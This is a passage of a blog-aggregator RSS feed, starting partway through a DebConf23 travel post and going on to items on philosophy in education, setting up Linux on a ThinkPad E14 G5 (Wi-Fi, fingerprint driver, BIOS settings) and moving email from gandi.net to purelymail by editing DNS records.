<p>The 18th of September was the day of departure. Badri slept in my room and left early morning (06:30 AM). I dropped him off at the hotel gate. The breakfast was at the eatery (3rd floor) again.</p>
<p>I had an 8 PM flight from Kochi to Delhi, for which I took a cab with Rhonda (Austria), Michael (Nigeria) and Yash (India). We were joined by other DebConf23 attendees at the Kochi airport, where we took another selfie.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/photo-at-kochi-airport.avif" width="512">
<figcaption>Ruchika (taking the selfie) and from left to right: Yash, <a href="http://mdcc.cx">Joost (Netherlands)</a>, me, Rhonda</figcaption>
</figure>
<p>Joost and I were on the same flight, and we sat next to each other. He then took a connecting flight from Delhi to Netherlands, while I went with Yash to the New Delhi Railway Station, where we took our respective trains. I reached home on the morning of the 19th of September, 2023.</p>
<figure>
<img loading="lazy" src="https://ravidwivedi.in/images/debconf23/selfie-with-joost.avif">
<figcaption>Joost and me going to Delhi. Photo credits: Ravi.</figcaption>
</figure>
<h2 id="big-thanks-to-the-organizers">Big thanks to the organizers</h2>
<p>DebConf23 was hard to organize - strict alcohol laws, weird hotel rules, death of a close friend (almost a family member), and a scary notice by the immigration bureau. The people from the team are my close friends and I am proud of them for organizing such a good event.</p>
<p>None of this would have been possible without the organizers who put more than a year-long voluntary effort to produce this. In the meanwhile, many of them had organized local events in the time leading up to DebConf. Kudos to them.</p>
<p>The organizers also tried their best to get clearance for countries not approved by the ministry. I am also sad that people from China, Kosovo, and Iran could not join. In particular, I feel bad for people from Kosovo who wanted to attend but could not (as India does not consider their passport to be a valid travel document), considering how we Indians were so well-received in their country last year.</p>
<h2 id="note-about-myself">Note about myself</h2>
<p>I am writing this on the 22nd of September, 2023. It took me three days to put up this post - this was one of the tragic and hard posts for me to write. I have literally forced myself to write this. I have still not recovered from the loss of my friend. Thanks a lot to all those who helped me.</p>
<p>PS: <b>Credits to <a href="https://contrapunctus.codeberg.page/">contrapunctus</a> for making <a href="https://codeberg.org/ravidwivedi/ravidwivedi.in/pulls/1">grammar, phrasing, and capitalization changes</a></b>.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Shores of the cosmic ocean]]></title>
            <link>https://workdone0.substack.com/p/cosmos</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/cosmos</guid>
            <pubDate>Fri, 15 Sep 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[In this piece, I reflect on our place in the vast universe — Earth as a tiny “shore” in the ocean of the cosmos, and how human curiosity drives us to explore what lies beyond our horizon.]]></description>
            <content:encoded><![CDATA[In this piece, I reflect on our place in the vast universe &#8212; Earth as a tiny &#8220;shore&#8221; in the ocean of the cosmos, and how human curiosity drives us to explore what lies beyond our horizon.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[Emerging from dotemacs bankruptcy the hard way: integrating the IDE (feat. Clojure(Script))]]></title>
            <link>https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-ide-experience/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-ide-experience/index.html</guid>
            <pubDate>Thu, 07 Sep 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The one in which we design a rich Integrated Development Environment (IDE) experience, using Clojure as our muse. Featuring Language Server Protocol (lsp-mode + clojure-lsp), clojure-mode, cider, and more! Buckle up and get a coffee.]]></description>
            <content:encoded><![CDATA[The one in which we design a rich Integrated Development Environment (IDE) experience, using Clojure as our muse. Featuring Language Server Protocol (lsp-mode + clojure-lsp), clojure-mode, cider, and more! Buckle up and get a coffee.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>emacs</category>
            <category>howto</category>
            <category>recurse_center</category>
            <category>clojure</category>
        </item>
        <item>
            <title><![CDATA[The Cobwebs of Indian Education System]]></title>
            <link>https://shrirangkahale.com/posts/education-system-and-youth/</link>
            <guid isPermaLink="false">https://shrirangkahale.com/posts/education-system-and-youth/</guid>
            <pubDate>Wed, 30 Aug 2023 14:20:07 GMT</pubDate>
            <description><![CDATA[I write this as when India has successfully landed and is carrying out it’s Chandrayan-3 mission. This is a very proud moment for each and every Indian. India has become the first country to land on Moon’s South Pole, I’d like to congratulate all the people who were involved in this mission! Anyway, I stumbled upon this old essay from 1999, titled “INDIAN TALENT CAUGHT IN THE COBWEBS”, It mentions how Indian society in general resists change.]]></description>
            <content:encoded><![CDATA[I write this as when India has successfully landed and is carrying out it&rsquo;s Chandrayan-3 mission. This is a very proud moment for each and every Indian. India has become the first country to land on Moon&rsquo;s South Pole, I&rsquo;d like to congratulate all the people who were involved in this mission! Anyway, I stumbled upon this old essay from 1999, titled &ldquo;INDIAN TALENT CAUGHT IN THE COBWEBS&rdquo;, It mentions how Indian society in general resists change.]]></content:encoded>
            <author>Shrirang Kahale</author>
        </item>
        <item>
            <title><![CDATA[Why philosophy should be part of the educationsystem]]></title>
            <link>https://aryak.me/blog/04-philosophy-should-be-part-of-edu-system.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/04-philosophy-should-be-part-of-edu-system.html</guid>
            <pubDate>Sat, 19 Aug 2023 12:39:45 GMT</pubDate>
            <description><![CDATA[I was recently reading the essay, On Liberty, by John Stuart Mill and
I was very intrigued by some of the points brought up by the book.
This led me to think again about something I have been pondering
about in and out for ages, the place of philosophy in the educational
system.
The problem
I’ll start with the problem. To be honest, this generation is
extremely apolitical, and non-politically active.
All they care about is getting good marks, passing 10th/12th and
getting a good college/job, while ignoring the big and important
question, the state of our nation.
When noone cares about the nation, asatyamev hi jayate (injustice
alone will prevail), for there is no person to keep check on the
government.
Every person’s goal in life is to serve themselves. Me first,
everything secondary. This is how humans work.
The government is meant to mediate this but its not a bulletproof
entity, its made of people, whose primary goal is to serve
themselves.
This is why we need someone to keep the government in check, and
unintellectual and aloofness from politics does not help.
This I feel, is excacerbated by the education system, especially
here, which encourages rote learning.
The state of the
current education system
This is especially bad with social studies, where it is important to
be opinion based, not “I just memorized this chapter and can get 100 in
tommorow’s exam”.
I guess this could apply to the sciences, mathematics etc. but it is
even more important in the social sciences and humanities.
Social Studies must be opinions, what you think about this thing, who
is in the right and who is in the wrong according to you, with multiple
sources to understand from.
People should be marked based on the intellectual-ness of the answer,
not based on how “politically-correct” or similar to textbook the answer
is.
Here is where philosophy plays an important role.
While social studies only covers laws, history and generally how our
current system came to be, philosophy questions the basic theory.
Philosophy awakens the intellectual-ness, and makes people think
critically.
It encourages and makes people go into deep thoughts and intellectual
discussions, which benifit them mentally and society in large as we get
more intelligent people.
This encouragement that used to be prevailent in the ancient times of
Gurukuls has been effectively wiped off by the advent of the structured
educational system.
My
ideas for how philosophy could be implemented in education
Philosophy is a vast and varied subject.
I would say, extracts from philosophical texts from the big 4
traditions (western, indian, chinese, islamic) should be given to
students about a specific topic, which of course must be suitable for
their grade and they should be asked to comment on what they think about
each.
In my opinion, everything should be marked based on the intellect of
the answer, and when marks are deducted for “wrong-think”, students
should be able to appeal to a board setup to answer and co-ordinate with
schools about these kind of marking conflicts.
The “untouchable” subjects
There are many subjects that are untouchable in any normal debate, be
it caste, morality, religion etc.
This is BAD and leads to forcing of opinions and generally lack of
intellectualism around these topics.
You cannot and should not take a blind follow approach to anything.
Question every single thing you have to do, be it rhetorical or directed
towards someone else.
The law
The law should be more liberal when it comes to “wrong-think”. Speech
should be allowed as long as it does not incite or promote violence.
I know incite violence is vague as hell, and that is of course
because of how varied stuff can cause people to get mad.
A small social media post about something inciteful can cause more
harm than someone saying extremely inciting/dangerous things to even a
big audience.
“Hate speech” can not be regulated, and the intentions of something
cannot be easily made out.
To be frank, I don’t have any ideas about this. Maybe a committee to
decide what constitutes a hate-speech and what does not, but then there
are of course biases.
If you go with a simple “if there is violence due to your post we
arrest you”, you risk arresting people whose post unintentionally
incited the same.
But, at the end of the day, the law should be more allowing for free
thinking and intellectual discussions, as long as of course, it doesnt
incite violent acts.
Societal stuff
People also are moulded more and more into non-individualistic
robots, who all share the same happiness and same opinions.
People like something just because others like it, and if they don’t
like it they are treated like outcasts from society.
People have no individualistic goals in life, just the standard
“getting good marks, passing 10th/12th and getting a good
college/job”
While these are also extremely important, we need to stress on the
importance of a life where people aren’t just robots who do what they
are told to do (or NPCs as the zoomers call it).
This could be lessened by philosophy, which imbibes critical thinking
in the mind of those who read it.
I should have published this on Independence day since well a lot of
these were ponderings about the Indian independence and what it gave us
Indians, but well procrastination :)
I know this is a bit rambly but I hope you get the point :P]]></description>
            <content:encoded><![CDATA[
<p>I was recently reading the essay, On Liberty, by John Stuart Mill and
I was very intrigued by some of the points brought up by the book.</p>
<p>This led me to think again about something I have been pondering
about in and out for ages, the place of philosophy in the educational
system.</p>
<h2 id="the-problem">The problem</h2>
<p>I’ll start with the problem. To be honest, this generation is
extremely apolitical, and non-politically active.</p>
<p>All they care about is getting good marks, passing 10th/12th and
getting a good college/job, while ignoring the big and important
question, the state of our nation.</p>
<p>When noone cares about the nation, asatyamev hi jayate (injustice
alone will prevail), for there is no person to keep check on the
government.</p>
<p>Every person’s goal in life is to serve themselves. Me first,
everything secondary. This is how humans work.</p>
<p>The government is meant to mediate this but its not a bulletproof
entity, its made of people, whose primary goal is to serve
themselves.</p>
<p>This is why we need someone to keep the government in check, and
unintellectual and aloofness from politics does not help.</p>
<p>This I feel, is excacerbated by the education system, especially
here, which encourages rote learning.</p>
<h2 id="the-state-of-the-current-education-system">The state of the
current education system</h2>
<p>This is especially bad with social studies, where it is important to
be opinion based, not “I just memorized this chapter and can get 100 in
tommorow’s exam”.</p>
<p>I guess this could apply to the sciences, mathematics etc. but it is
even more important in the social sciences and humanities.</p>
<p>Social Studies must be opinions, what you think about this thing, who
is in the right and who is in the wrong according to you, with multiple
sources to understand from.</p>
<p>People should be marked based on the intellectual-ness of the answer,
not based on how “politically-correct” or similar to textbook the answer
is.</p>
<p>Here is where philosophy plays an important role.</p>
<p>While social studies only covers laws, history and generally how our
current system came to be, philosophy questions the basic theory.</p>
<p>Philosophy awakens the intellectual-ness, and makes people think
critically.</p>
<p>It encourages and makes people go into deep thoughts and intellectual
discussions, which benifit them mentally and society in large as we get
more intelligent people.</p>
<p>This encouragement that used to be prevailent in the ancient times of
Gurukuls has been effectively wiped off by the advent of the structured
educational system.</p>
<h2
id="my-ideas-for-how-philosophy-could-be-implemented-in-education">My
ideas for how philosophy could be implemented in education</h2>
<p>Philosophy is a vast and varied subject.</p>
<p>I would say, extracts from philosophical texts from the big 4
traditions (western, indian, chinese, islamic) should be given to
students about a specific topic, which of course must be suitable for
their grade and they should be asked to comment on what they think about
each.</p>
<p>In my opinion, everything should be marked based on the intellect of
the answer, and when marks are deducted for “wrong-think”, students
should be able to appeal to a board setup to answer and co-ordinate with
schools about these kind of marking conflicts.</p>
<h2 id="the-untouchable-subjects">The “untouchable” subjects</h2>
<p>There are many subjects that are untouchable in any normal debate, be
it caste, morality, religion etc.</p>
<p>This is BAD and leads to forcing of opinions and generally lack of
intellectualism around these topics.</p>
<p>You cannot and should not take a blind follow approach to anything.
Question every single thing you have to do, be it rhetorical or directed
towards someone else.</p>
<h2 id="the-law">The law</h2>
<p>The law should be more liberal when it comes to “wrong-think”. Speech
should be allowed as long as it does not incite or promote violence.</p>
<p>I know incite violence is vague as hell, and that is of course
because of how varied stuff can cause people to get mad.</p>
<p>A small social media post about something inciteful can cause more
harm than someone saying extremely inciting/dangerous things to even a
big audience.</p>
<p>“Hate speech” can not be regulated, and the intentions of something
cannot be easily made out.</p>
<p>To be frank, I don’t have any ideas about this. Maybe a committee to
decide what constitutes a hate-speech and what does not, but then there
are of course biases.</p>
<p>If you go with a simple “if there is violence due to your post we
arrest you”, you risk arresting people whose post unintentionally
incited the same.</p>
<p>But, at the end of the day, the law should be more allowing for free
thinking and intellectual discussions, as long as of course, it doesnt
incite violent acts.</p>
<h2 id="societal-stuff">Societal stuff</h2>
<p>People also are moulded more and more into non-individualistic
robots, who all share the same happiness and same opinions.</p>
<p>People like something just because others like it, and if they don’t
like it they are treated like outcasts from society.</p>
<p>People have no individualistic goals in life, just the standard
“getting good marks, passing 10th/12th and getting a good
college/job”</p>
<p>While these are also extremely important, we need to stress on the
importance of a life where people aren’t just robots who do what they
are told to do (or NPCs as the zoomers call it).</p>
<p>This could be lessened by philosophy, which imbibes critical thinking
in the mind of those who read it.</p>
<p>I should have published this on Independence day since well a lot of
these were ponderings about the Indian independence and what it gave us
Indians, but well procrastination :)</p>
<p>I know this is a bit rambly but I hope you get the point :P</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2023/08/19/6</category>
        </item>
        <item>
            <title><![CDATA[Linux on the Thinkpad E14 G5 AMD]]></title>
            <link>https://aryak.me/blog/03-e14-linux.html</link>
            <guid isPermaLink="false">https://aryak.me/blog/03-e14-linux.html</guid>
            <pubDate>Wed, 16 Aug 2023 12:39:45 GMT</pubDate>
            <description><![CDATA[I recently got a thinkpad E14 gen5 with a ryzen 5 7th gen to replace
my Acer Aspire 7.
Of course I wanted to replace the default windows with linux, but I
was too lazy to reinstall and hence just put my old NVMe SSD in the
laptop thanks to the availability of 2 M.2 slots.
Before this I had to disable secure boot in the bios which I did
along with a few other “important” changes (which I’ll cover later)
Past this, most things worked out of the box after removing my old
Nvidia drivers. Ryzen is really good on linux :P
However, 2 things didn’t work correctly, the Fingerprint sensor and
WiFi card.
Realtek WiFi
After the initial setup, my realtek wifi card was having frequent
disconnection issues. It will suddenly just stop transmitting data and
the fix was to reconnect to the wifi network.
Another issue is that the Realtek WiFi card only works with kernels
6.2+. This wasn’t an issue for me as a Debian Sid user but when I first
tested the compatibility on an Ubuntu 22.04 ISO before adding my drive,
this was pretty weird/confusing.
After a bit of searching, I figured out that the random disconnection
was due to NetworkManager’s randomized mac addresses.
To fix this, I just had to append the following to the
NetworkManager.conf file:
[device]
wifi.scan-rand-mac-address=no
Goodix Fingerprint
I thought the fingerprint was useless for good, until I discovered
that Lenovo provided drivers for their fingerprint sensor through one of
the manuals I was searching through.
Originally I didn’t find anything, since the driver page for my model
didn’t show linux, but after a bit of searching again, I stumbled across
this
support page that gave links to drivers.
Since I ran debian testing and its mostly compatible with what Ubuntu
has, I tried just installing libfprint-2-2 normally and then the
driver’s deb, but the deb refused to install since it needed libfprint-2-tod
(a fork of libfprint with support for TOD/touch based fingerprint
readers).
I tried installing the deb from ubuntu repos and then install the
driver, which succeeded, but didn’t make the device work.
Later, I installed ubuntu 22.04 on a secondary partition to check if
it worked on ubuntu, which it did.
One thing I noticed, however was that it used a
ppa instead of regular libfprint(-tod) from canonical repos.
Then, I tried installing libfprint and libfprint-tod debs from that
ppa and the goodix deb from lenovo, and after a reboot, everything
worked!
Once it was up, I installed fprintd and libpam-fprintd, at which
point I did the fprintd-enroll and fprintd-verify.
After these succeeded, I ran
pam-auth-update --enable fprintd. This made fprintd work on
pam stuff like sudo and TTY logins.
With this, the last remaining non-working feature of my thinkpad was
working as well :D
The BIOS
Once I got my thinkpad, basically the first thing I did was tweak the
BIOS.
Getting into the BIOS is dead simple compared to other laptops, just
press enter (which it tells you during bootup) and it will take you to a
menu, from where you can choose to go to the BIOS with F1.
I was pleasantly surprised to see a modern BIOS, with touchpad
support. Coming from laptops which only had blue and white bioses and
barely any tweaks, this was a welcome upgrade :)
First thing to disable was secure boot. It was present in Security
section of the BIOS and was pretty easy to disable
Then, I permanently disabled some enterprise spyware utility (UPDATE:
it was called Absolute under Security).
There was also Lenovo Cloud Services in Config -> Network, which I
of course disabled.
While in Security, I disabled Enhanced Windows Biometric Security (in
Virtualization) and Microsoft Device Guard.
And thats it for now, I’ll update this blogpost if I face any other
issues or discover other stuff. Thanks for sticking around :)
If you have any questions, feel free to contact
me!]]></description>
            <content:encoded><![CDATA[
<p>I recently got a thinkpad E14 gen5 with a ryzen 5 7th gen to replace
my Acer Aspire 7.</p>
<p>Of course I wanted to replace the default windows with linux, but I
was too lazy to reinstall and hence just put my old NVMe SSD in the
laptop thanks to the availability of 2 M.2 slots.</p>
<p>Before this I had to disable secure boot in the bios which I did
along with a few other “important” changes (which I’ll cover later)</p>
<p>Past this, most things worked out of the box after removing my old
Nvidia drivers. Ryzen is really good on linux :P</p>
<p>However, 2 things didn’t work correctly, the Fingerprint sensor and
WiFi card.</p>
<h2 id="realtek-wifi">Realtek WiFi</h2>
<p>After the initial setup, my realtek wifi card was having frequent
disconnection issues. It will suddenly just stop transmitting data and
the fix was to reconnect to the wifi network.</p>
<p>Another issue is that the Realtek WiFi card only works with kernels
6.2+. This wasn’t an issue for me as a Debian Sid user but when I first
tested the compatibility on an Ubuntu 22.04 ISO before adding my drive,
this was pretty weird/confusing.</p>
<p>After a bit of searching, I figured out that the random disconnection
was due to NetworkManager’s randomized mac addresses.</p>
<p>To fix this, I just had to append the following to the
NetworkManager.conf file:</p>
<pre><code>[device]
wifi.scan-rand-mac-address=no</code></pre>
<h2 id="goodix-fingerprint">Goodix Fingerprint</h2>
<p>I thought the fingerprint was useless for good, until I discovered
that Lenovo provided drivers for their fingerprint sensor through one of
the manuals I was searching through.</p>
<p>Originally I didn’t find anything, since the driver page for my model
didn’t show linux, but after a bit of searching again, I stumbled across
<a
href="https://support.lenovo.com/in/en/downloads/ds560884-goodix-fingerprint-driver-for-linux-thinkpad-e14-gen-4-e15-gen-4">this
support page</a> that gave links to drivers.</p>
<p>Since I ran debian testing and its mostly compatible with what Ubuntu
has, I tried just installing libfprint-2-2 normally and then the
driver’s deb, but the deb refused to install since it needed <a
href="https://gitlab.freedesktop.org/3v1n0/libfprint/-/tree/tod?ref_type=heads">libfprint-2-tod</a>
(a fork of libfprint with support for TOD/touch based fingerprint
readers).</p>
<p>I tried installing the deb from ubuntu repos and then install the
driver, which succeeded, but didn’t make the device work.</p>
<p>Later, I installed ubuntu 22.04 on a secondary partition to check if
it worked on ubuntu, which it did.</p>
<p>One thing I noticed, however was that it used <a
href="https://launchpad.net/~andch/+archive/ubuntu/staging-fprint/+packages">a
ppa</a> instead of regular libfprint(-tod) from canonical repos.</p>
<p>Then, I tried installing libfprint and libfprint-tod debs from that
ppa and the goodix deb from lenovo, and after a reboot, everything
worked!</p>
<p>Once it was up, I installed fprintd and libpam-fprintd, at which
point I did the fprintd-enroll and fprintd-verify.</p>
<p>After these succeeded, I ran
<code>pam-auth-update --enable fprintd</code>. This made fprintd work on
pam stuff like sudo and TTY logins.</p>
<p>With this, the last remaining non-working feature of my thinkpad was
working as well :D</p>
<h2 id="the-bios">The BIOS</h2>
<p>Once I got my thinkpad, basically the first thing I did was tweak the
BIOS.</p>
<p>Getting into the BIOS is dead simple compared to other laptops, just
press enter (which it tells you during bootup) and it will take you to a
menu, from where you can choose to go to the BIOS with F1.</p>
<p>I was pleasantly surprised to see a modern BIOS, with touchpad
support. Coming from laptops which only had blue and white bioses and
barely any tweaks, this was a welcome upgrade :)</p>
<p>First thing to disable was secure boot. It was present in Security
section of the BIOS and was pretty easy to disable</p>
<p>Then, I permanently disabled some enterprise spyware utility (UPDATE:
it was called Absolute under Security).</p>
<p>There was also Lenovo Cloud Services in Config -&gt; Network, which I
of course disabled.</p>
<p>While in Security, I disabled Enhanced Windows Biometric Security (in
Virtualization) and Microsoft Device Guard.</p>
<p>And thats it for now, I’ll update this blogpost if I face any other
issues or discover other stuff. Thanks for sticking around :)</p>
<p>If you have any questions, feel free to <a href="https://aryak.me/contact">contact
me</a>!</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2023/08/16/3</category>
        </item>
        <item>
            <title><![CDATA[My Steps: Switching e-mail provider from gandi.net]]></title>
            <link>https://ravidwivedi.in/posts/my-steps-transfer-mail-from-gandi/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/my-steps-transfer-mail-from-gandi/</guid>
            <pubDate>Tue, 15 Aug 2023 03:22:43 GMT</pubDate>
            <description><![CDATA[Earlier this year, gandi.net’s ownership changed and it was acquired by Total Webhosting Solutions. My domain and email were both hosted by this provider. Since I didn’t agree with the ownership change, I decided to switch my email provider. After discussing with Sahil, Snehal, Praveen, Nilesh, I shortlisted two email providers to choose from for ravi at ravidwivedi.in. One was purelymail and the other was mailbox.org. Since purelymail($10 per year) was cheaper than mailbox(€36 per year), I decided to give it a try. If this does not work out, I thought, I will switch to mailbox later.
Below are my steps on how I did it. The steps will be same in principle for any other provider you would like to switch to. So the guide will be helpful to you if you want to switch to any other email provider other than purelymail.
Be sure to read docs of the email provider you want to switch to in addition to this guide.
Step 1: Create an account on purelymail.com
First, I signed up on purelymail and created an account (like something@purelymail.com). They charged $10 upfront for creating this acount.
Step 2: Add your domain to your purelymail account
Sign in to your purelymail account and click on Domains section on the top and you will see a page like the screenshot below:
Click on ‘Add new domain’ as in the above screenshot.
Step 3: Enter domain name
Enter your domain name (like example.com) to the page which you got after clicking ‘Add new domain’ in last step.
Step 4: Create an MX record
Create a new MX record in your gandi.net portal or whatever domain registrar you bought your domain from. Use your mail provider docs to obtain these values and plug in.
Type
    Host
    Value
  
MX
    (Empty)
    mailserver.purelymail.com. (this is a sample value, you should put the value recommended by your email provider. dot at the end of the value is important.)
  
Step 5: Add an SPF record
Create a new SPF record as you did in Step 4. Again, use your mail provider docs to obtain these values and plug in.
Type
    Host
    Value
  
TXT
    (Empty)
    v=spf1 include:_spf.purelymail.com ~all (this is a sample value, you should put the value recommended by your email provider)
  
Step 6: Add a TXT record to prove that you own the domain
I am not sure if this step is necessary for other email providers or even for purelymail, but since it was recommended by their docs I added this value from my gandi.net portal. It is a TXT record like this:
Type
    Host
    Value
  
TXT
    (Empty)
    Redacted
  
Step 7: Add DKIM signatures
DKIM signature is for the email receiver to verify whether the email has indeed been sent by the domain owner. It is highly recommended. You can read more about DKIM signature here. Read your docs of your email provider and put the respective values.
Below is a sample taken from my steps:
Type
    Host
    Value
  
CNAME
    purelymail1._domainkey
    key1.dkimroot.purelymail.com. 
  
Note: the dot at the end is important.
I added two other CNAME records in this step as suggested by purelymail docs.
Step 8: Add DMARC record
Create a DMARC record (check your provider docs for values) as you created other records in previous steps.
Type
    Host
    Value
  
CNAME
    check your docs
    check your docs

Step 9: Check your DNS records
Now we verify whether our records point to our new provider. Purelymail portal has a button ‘Check DNS records’ and it can find whether records you entered are correct. It takes a few minutes and sometimes a few hours for the DNS records to propagate.
Purelymail portal showing all DNS records were entered correctly.

Step 10: Create account on new provider
After all the records have been correctly added, create an account on purelymail by clicking ‘Users’ button at the top and create a new user. I created ravi@ user on my domain from there.
Step 11: Import data from gandi.net email
purelymail has an option to import data, like emails, calendar and address book from previous account. Use that option to import emails from gandi.net. Or you can use IMAP to login to your new provider in an email client like Thunderbird and manually copy all the emails to your new account.
Step 12: Delete gandi.net email and DNS records
Delete gandi.net email from the gandi.net portal and remove all the previous records which point to gandi.net for email(like MX, SPF, DKIM).
You are done. Enjoy your new email provider and let me know which one you switched to and why :-)]]></description>
            <content:encoded><![CDATA[<p>Earlier this year, <a href="https://gandi.net">gandi.net</a>&rsquo;s ownership <a href="https://news.gandi.net/en/2023/03/your-online-gandi-continues-its-development/">changed</a> and it was acquired by Total Webhosting Solutions. My domain and email were both hosted by this provider. Since I didn&rsquo;t agree with the ownership change, I decided to switch my email provider. After discussing with <a href="https://sahilister.in">Sahil</a>, <a href="https://inferred.in">Snehal</a>, <a href="https://mastodon.social/@praveen@social.masto.host">Praveen</a>, Nilesh, I shortlisted two email providers to choose from for ravi at ravidwivedi.in. One was <a href="https://purelymail.com">purelymail</a> and the other was <a href="https://mailbox.org">mailbox.org</a>. Since purelymail($10 per year) was cheaper than mailbox(€36 per year), I decided to give it a try. If this does not work out, I thought, I will switch to mailbox later.</p>
<p>Below are my steps on how I did it. The steps will be same in principle for any other provider you would like to switch to. So the guide will be helpful to you if you want to switch to any other email provider other than purelymail.</p>
<p>Be sure to read docs of the email provider you want to switch to in addition to this guide.</p>
<h2 id="step-1-create-an-account-on-purelymailcom">Step 1: Create an account on purelymail.com</h2>
<p>First, I <a href="https://purelymail.com/signup/">signed up</a> on purelymail and created an account (like <a href="mailto:something@purelymail.com">something@purelymail.com</a>). They charged $10 upfront for creating this acount.</p>
<h2 id="step-2-add-your-domain-to-your-purelymail-account">Step 2: Add your domain to your purelymail account</h2>
<p>Sign in to your purelymail account and click on Domains section on the top and you will see a page like the screenshot below:</p>
<img src="https://ravidwivedi.in/images/mail-transfer-1.png">
<p>Click on &lsquo;Add new domain&rsquo; as in the above screenshot.</p>
<h2 id="step-3-enter-domain-name">Step 3: Enter domain name</h2>
<p>Enter your domain name (like example.com) to the page which you got after clicking &lsquo;Add new domain&rsquo; in last step.</p>
<img src="https://ravidwivedi.in/images/mail-transfer-2.png">
<h2 id="step-4-create-an-mx-record">Step 4: Create an MX record</h2>
<p>Create a new <a href="https://www.domain.com/help/article/what-is-mx-record">MX record</a> in your gandi.net portal or whatever domain registrar you bought your domain from. Use your mail provider docs to obtain these values and plug in.</p>
<table>
  <tr>
    <td>Type</td>
    <td>Host</td>
    <td>Value</td>
  </tr>
  <tr>
    <td>MX</td>
    <td>(Empty)</td>
    <td>mailserver.purelymail.com. (this is a sample value, you should put the value recommended by your email provider. dot at the end of the value is important.)</td>
  </tr>
</table>
<h2 id="step-5-add-an-spf-record">Step 5: Add an SPF record</h2>
<p><a href="https://www.domain.com/help/article/dns-management-how-to-update-txt-spf-records">Create a new SPF record</a> as you did in Step 4. Again, use your mail provider docs to obtain these values and plug in.</p>
<table>
  <tr>
    <td>Type</td>
    <td>Host</td>
    <td>Value</td>
  </tr>
  <tr>
    <td>TXT</td>
    <td>(Empty)</td>
    <td>v=spf1 include:_spf.purelymail.com ~all (this is a sample value, you should put the value recommended by your email provider)</td>
  </tr>
</table>
<h2 id="step-6-add-a-txt-record-to-prove-that-you-own-the-domain">Step 6: Add a TXT record to prove that you own the domain</h2>
<p>I am not sure if this step is necessary for other email providers or even for purelymail, but since it was recommended by their docs I added this value from my gandi.net portal. It is a TXT record like this:</p>
<table>
  <tr>
    <td>Type</td>
    <td>Host</td>
    <td>Value</td>
  </tr>
  <tr>
    <td>TXT</td>
    <td>(Empty)</td>
    <td>Redacted</td>
  </tr>
</table>
<h2 id="step-7-add-dkim-signatures">Step 7: Add DKIM signatures</h2>
<p>DKIM signature is for the email receiver to verify whether the email has indeed been sent by the domain owner. It is highly recommended. You can read more about DKIM signature <a href="https://powerdmarc.com/what-is-dkim-signature/">here</a>. Read your docs of your email provider and put the respective values.</p>
<p>Below is a sample taken from my steps:</p>
<table>
  <tr>
    <td>Type</td>
    <td>Host</td>
    <td>Value</td>
  </tr>
  <tr>
    <td>CNAME</td>
    <td>purelymail1._domainkey</td>
    <td>key1.dkimroot.purelymail.com. </td>
  </tr>
</table>
<p>Note: the dot at the end is important.</p>
<p>I added two other CNAME records in this step as suggested by purelymail docs.</p>
<h2 id="step-8-add-dmarc-record">Step 8: Add DMARC record</h2>
<p>Create a <a href="https://www.cloudflare.com/learning/dns/dns-records/dns-dmarc-record/">DMARC record</a> (check your provider docs for values) as you created other records in previous steps.</p>
<table>
  <tr>
    <td>Type</td>
    <td>Host</td>
    <td>Value</td>
  </tr>
  <tr>
    <td>CNAME</td>
    <td>check your docs</td>
    <td>check your docs</td>
</table>
<h2 id="step-9-check-your-dns-records">Step 9: Check your DNS records</h2>
<p>Now we verify whether our records point to our new provider. Purelymail portal has a button &lsquo;Check DNS records&rsquo; and it can find whether records you entered are correct. It takes a few minutes and sometimes a few hours for the DNS records to propagate.</p>
<figure>
<img src="https://ravidwivedi.in/images/mail-transfer-3.png">
<figcaption>Purelymail portal showing all DNS records were entered correctly.</figcaption>
</figure>
<h2 id="step-10-create-account-on-new-provider">Step 10: Create account on new provider</h2>
<p>After all the records have been correctly added, create an account on purelymail by clicking &lsquo;Users&rsquo; button at the top and create a new user. I created ravi@ user on my domain from there.</p>
<h2 id="step-11-import-data-from-gandinet-email">Step 11: Import data from gandi.net email</h2>
<p>purelymail has an option to import data, like emails, calendar and address book from previous account. Use that option to import emails from gandi.net. Or you can use IMAP to login to your new provider in an email client like Thunderbird and manually copy all the emails to your new account.</p>
<h2 id="step-12-delete-gandinet-email-and-dns-records">Step 12: Delete gandi.net email and DNS records</h2>
<p>Delete gandi.net email from the gandi.net portal and remove all the previous records which point to gandi.net for email(like MX, SPF, DKIM).</p>
<p>You are done. Enjoy your new email provider and <a href="https://ravidwivedi.in/contact">let me know</a> which one you switched to and why :-)</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Emerging from dotemacs bankruptcy the hard way: getting about]]></title>
            <link>https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-getting-about/index.html</link>
            <guid isPermaLink="false">https://www.evalapply.org/posts/emerging-from-dotemacs-bankruptcy-getting-about/index.html</guid>
            <pubDate>Wed, 02 Aug 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[We want to maximize our ability to "stay in The Zone". So the aim is to create the fastest, smoothest, tightly integrated, and unobtrusive mechanism to get things done using the keyboard alone.]]></description>
            <content:encoded><![CDATA[We want to maximize our ability to "stay in The Zone". So the aim is to create the fastest, smoothest, tightly integrated, and unobtrusive mechanism to get things done using the keyboard alone.]]></content:encoded>
            <author>Aditya Athalye</author>
            <category>programming</category>
            <category>emacs</category>
            <category>howto</category>
            <category>recurse_center</category>
        </item>
        <item>
            <title><![CDATA[FreeBSD Install: Hiccups and Issues]]></title>
            <link>https://ravidwivedi.in/posts/freebsd-install-issues/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/freebsd-install-issues/</guid>
            <pubDate>Mon, 31 Jul 2023 14:14:19 GMT</pubDate>
